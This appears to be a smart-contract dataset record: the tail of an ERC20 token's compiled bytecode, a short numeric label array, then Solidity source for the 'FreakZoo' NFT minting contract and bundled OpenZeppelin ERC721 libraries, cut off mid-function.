3565b614aa060208301846146d3565b9392505050565b6000604082019050614abc60008301856146d3565b614ac96020830184614a30565b9392505050565b600060c082019050614ae560008301896146d3565b614af26020830188614a30565b614aff604083018761474f565b614b0c606083018661474f565b614b1960808301856146d3565b614b2660a0830184614a30565b979650505050505050565b6000602082019050614b466000830184614740565b92915050565b6000604082019050614b616000830185614740565b614b6e6020830184614740565b9392505050565b60006020820190508181036000830152614b8f818461475e565b905092915050565b60006020820190508181036000830152614bb081614797565b9050919050565b60006020820190508181036000830152614bd0816147ba565b9050919050565b60006020820190508181036000830152614bf0816147dd565b9050919050565b60006020820190508181036000830152614c1081614800565b9050919050565b60006020820190508181036000830152614c3081614823565b9050919050565b60006020820190508181036000830152614c5081614846565b9050919050565b60006020820190508181036000830152614c7081614869565b9050919050565b60006020820190508181036000830152614c908161488c565b9050919050565b60006020820190508181036000830152614cb0816148af565b9050919050565b60006020820190508181036000830152614cd0816148d2565b9050919050565b60006020820190508181036000830152614cf0816148f5565b9050919050565b60006020820190508181036000830152614d1081614918565b9050919050565b60006020820190508181036000830152614d308161493b565b9050919050565b60006020820190508181036000830152614d508161495e565b9050919050565b60006020820190508181036000830152614d7081614981565b9050919050565b60006020820190508181036000830152614d90816149c7565b9050919050565b60006020820190508181036000830152614db0816149ea565b9050919050565b60006020820190508181036000830152614dd081614a0d565b9050919050565b6000602082019050614dec6000830184614a30565b92915050565b600060a082019050614e076000830188614a30565b614e14602083018761474f565b8181036040830152614e2681866146e2565b9050614e3560608301856146d3565b614e426080830184614a30565b9695505050505050565b6000606082019050614e616000830186614a30565b614e6e6020830185614a30565b614e7b6040830184614a30565b949350505050565b6000602082019050614e986000830184614a3f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000614f0982615063565b9150614f1483615063565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614f4957614f48615108565b5b828201905092915050565b6000614f5f82615063565b9150614f6a83615063565b925082614f7a57614f79615137565b5b828204905092915050565b6000614f9082615063565b9150614f9b83615063565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614fd457614fd3615108565b5b828202905092915050565b6000614fea82615063565b9150614ff583615063565b92508282101561500857615007615108565b5b828203905092915050565b600061501e82615043565b9050919050565b600061503082615043565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061508582615063565b9050919050565b60005b838110156150aa57808201518184015260208101905061508f565b838111156150b9576000848401525b50505050565b60006150ca82615063565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156150fd576150fc615108565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f616d6f756e742065786365656473206d61782062757900000000000000000000600082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b7f4261736520666565206d757374206265206c657373207468616e203130000000600082015250565b7f746178206d757374206265206c657373207468616e2035000000000000000000600082015250565b7f6c6971756964697479206665652070657263656e74616765206d75737420626560008201527f206265747765656e203020746f20313030000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f6d61782077616c6c65742070657263656e74616765206d75737420626520626560008201527f747765656e203020746f20313030000000000000000000000000000000000000602082015250565b7f616d6f756e742065786365656473206d61782077616c6c657420686f6c64696e60008201527f6773000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61567e81615013565b811461568957600080fd5b50565b61569581615025565b81146156a057600080fd5b50565b6156ac81615037565b81146156b757600080fd5b50565b6156c381615063565b81146156ce57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122040dc319eeff6169ee37b3bc16b1091b498519236855e39762b434f52b1e86fb964736f6c63430008050033
[ 13, 5, 19, 11 ]
0xF3613B80f8Ff1bdc410a9230A014A64f2D380550
// SPDX-License-Identifier: MIT pragma solidity >=0.8.6; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract FreakZoo is ERC721, Ownable { string internal baseTokenURI = 'https://freakzoo.io/api/asset/'; uint public price = 0.07 ether; uint public totalSupply = 3333; uint public nonce = 0; bool public mintOpen = false; bool public presaleOpen = true; mapping(address => uint[]) private ownership; mapping(address => bool) public whitelist; IERC20 public bnn; uint public bSupply = 333; uint public bnnNonce = 0; uint public bnnPrice = 6 ether; event Mint(address owner, uint qty); event Withdraw(uint amount); string private _phrase; constructor() ERC721("Freak Zoo", "FKZ") { } // setters function toggleMint() external onlyOwner { mintOpen = !mintOpen; } function togglePresale() external onlyOwner { presaleOpen = !presaleOpen; } function setPhrase(string calldata phrase) external onlyOwner { _phrase = phrase; } function addToPresale(address[] calldata whitelist_) external onlyOwner { for(uint i=0; i<whitelist_.length; i++){ whitelist[whitelist_[i]] = true; } } function removeFromPresale(address[] calldata whitelist_) external onlyOwner { for(uint i=0; i<whitelist_.length; i++){ whitelist[whitelist_[i]] = false; } } function setPrice(uint newPrice) external onlyOwner { price = newPrice; } function setBaseTokenURI(string calldata _uri) external onlyOwner { baseTokenURI = _uri; } function setTotalSupply(uint newSupply) external onlyOwner { totalSupply = newSupply; } function getTokenIdsByOwner(address _owner) public view returns(uint[] memory) { return ownership[_owner]; } function _baseURI() internal override view returns (string memory) { return baseTokenURI; } // mint function giveaway(address to, uint qty) external onlyOwner { _mintTo(to, qty); } function buyPresale(uint qty) external payable { require(presaleOpen, "presale closed"); require(whitelist[_msgSender()], "not in whitelist"); require(msg.value == price * qty, "PAYMENT: invalid value"); _buy(qty); } function buy(uint qty, string calldata phrase) external payable { require(mintOpen, "mint closed"); require(msg.value >= price * qty, "PAYMENT: invalid value"); require(keccak256(bytes(phrase)) == keccak256(bytes(_phrase)), "mint error"); _buy(qty); } function _buy(uint qty) internal { require(qty > 0, "TRANSACTION: qty of mints not alowed"); _mintTo(_msgSender(), qty); } function _mintTo(address to, uint qty) internal { require(qty + nonce <= totalSupply, "SUPPLY: Value exceeds totalSupply"); for(uint i = 0; i < qty; i++){ nonce++; _safeMint(to, nonce); } } // banana function setBnnAddress(address newAddress) public onlyOwner{ bnn = IERC20(newAddress); } function setBnnPrice(uint newPrice) external onlyOwner { bnnPrice = newPrice; } function setBSupply(uint newSupply) external onlyOwner { bSupply = newSupply; } function buyUsingBnn(uint qty) external { require(mintOpen || presaleOpen, "closed"); require(bnn.balanceOf(_msgSender()) >= qty * bnnPrice, "insufficient funds"); require(bnn.allowance(_msgSender(), address(this)) >= qty * bnnPrice, "not allowed"); require((qty + bnnNonce) <= bSupply, "sold out"); bnnNonce += qty; bnn.transferFrom(_msgSender(), 0x3E4c18eb3a9115510d4Dbf0c9Cce015C6cacEC51, qty * bnnPrice); _mintTo(_msgSender(), qty); } // team function withdraw() external onlyOwner { uint balance = address(this).balance; payable(0xEd8fe1BB60036855895812e627B82161f4C5529e).transfer((balance * 35) / 100); payable(0xf99f2DF8fB2b8B873cFbD316296bA82ff55E03db).transfer((balance * 35) / 100); payable(0x3E4c18eb3a9115510d4Dbf0c9Cce015C6cacEC51).transfer((balance * 10) / 100); payable(0x0e1297F9014D0456492311884A0145FF0568808D).transfer((balance * 10) / 100); payable(0xdFeE4a9d467170a99D3dc34DFB6C041c4c803732).transfer(address(this).balance); } // ownership control function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { if(from != address(0)){ uint[] memory tokens = ownership[from]; for(uint i=0;i<tokens.length;i++){ if(tokens[i] == tokenId){ ownership[from][i] = 999999999; break; } } } if(to != address(0)){ ownership[to].push(tokenId); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( 